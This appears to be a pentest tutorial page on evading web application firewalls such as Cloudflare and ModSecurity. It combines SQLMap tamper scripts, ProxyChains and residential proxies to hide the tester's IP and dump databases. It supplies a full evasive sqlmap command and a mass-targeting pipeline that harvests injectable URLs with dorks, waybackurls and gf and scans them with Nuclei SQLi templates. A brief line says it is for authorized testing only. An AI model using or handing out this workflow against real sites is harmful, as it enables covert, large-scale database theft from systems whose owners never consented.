WAF Bypass with SQLMap
Bypass WAFs using SQLMap + ProxyChains + tamper scripts
Table of Contents
A Web Application Firewall monitors and filters HTTP traffic to protect applications by blocking malicious payloads like SQL injection, XSS and more.
Tools & Resources
Commands & Payloads
Request filtering - inspect and block malicious requestsGeo-blocking - restrict traffic by regionRate limiting - prevent brute force and DDoSCustom rule creation - tailor rules for your appPro Tips
- WAFs use signature-based and behavioral detection
- Each WAF has different bypass methods
- Always test with authorization first
Before we begin, we need: SQLMap for automating SQL injections, ProxyChains for routing through proxies, and Residential Proxies to mimic real users.
Commands & Payloads
SQLMap - powerhouse for automating SQL injectionsProxyChains - routes traffic through multiple proxiesResidential Proxies - mimic real users to avoid detectionPro Tips
- Install SQLMap: git clone https://github.com/sqlmapproject/sqlmap
- ProxyChains comes pre-installed on most pentest distros
- Residential proxies are more effective than datacenter proxies
Open the ProxyChains config file, disable local proxy, add residential proxies, and enable random chain for reliability.
Commands & Payloads
sudo mousepad /etc/proxychains.confComment out: # socks4 127.0.0.1 9050Add proxies: http <ip> <port> [user] [pass]Disable: #dynamic_chainEnable: random_chainAdd: quiet_modePro Tips
- Random chain improves reliability with multiple proxies
- Each connection uses a random proxy from the list
- Test with a small proxy list first to verify config
After configuration, run curl through ProxyChains to verify everything is working correctly.
Commands & Payloads
proxychains curl http://ipinfo.ioproxychains curl http://ipinfo.io/ipPro Tips
- The IP shown should be from your proxy list, not your real IP
- If connection fails, check proxy format in config file
- Test multiple times to verify random chain is working
Use SQLMap with ProxyChains and tamper scripts to bypass Cloudflare WAF and dump databases.
Commands & Payloads
proxychains sqlmap -u 'url' --dbs --batch -p id --random-agent --tamper=between,space2comment --dbms mysql --tech=B --no-cast --flush-session --threads 10Pro Tips
- Tamper scripts: between, space2comment help bypass WAF rules
- --random-agent changes User-Agent per request
- --tech=B limits to boolean-based blind injection (quieter)
- --no-cast avoids CAST expressions (detected by some WAFs)
Scale the process by hunting SQL injection across similar subdomains using Google Dorks and passive sources.
Tools & Resources
Commands & Payloads
https://github.com/coffinxp/scripts/blob/main/dorking.pycat urls.txt | awk -F/ '{print $3}' | sort -ucat urls.txt | waybackurls | gf sqli | uro > new.txtPro Tips
- Use Google Dorks to find similar subdomains first
- waybackurls fetches historical URLs from Archive.org
- gf sqli filters URLs with SQL injection parameters
Reduce noise by getting one SQL param URL per domain to efficiently scan across a wide range of assets.
Commands & Payloads
cat urls.txt | gawk -F/ '{host=$3; sub(/:80$/, "", host); if (!(host in seen)) { print $0; seen[host] } }'Pro Tips
- Testing all URLs at once is inefficient
- This regex gives one unique URL per domain
- Great for quickly identifying vulnerable targets
Fire up Nuclei with DAST SQLi templates to scan for SQL injection vulnerabilities.
Tools & Resources
Commands & Payloads
nuclei -l urls.txt -t nuclei-templates/dast/sql-injection.yamlhttps://github.com/coffinxp/nuclei-templates/blob/main/errsqli.yamlPro Tips
- Nuclei can scan thousands of URLs quickly
- DAST templates detect active vulnerabilities
- Combine with gf and uro for cleaner results
ProxyChains and SQLMap make a powerful combo for bypassing WAFs. With residential proxies and tamper scripts, you can bypass Cloudflare, ModSecurity, and more.
Pro Tips
- ProxyChains + residential proxies + SQLMap tampers = WAF bypass
- Scale testing with Google Dorks + waybackurls + gf + uro
- Use Nuclei DAST templates for mass scanning
- Focus on finding real issues, not false alarms
For educational and authorized testing purposes only.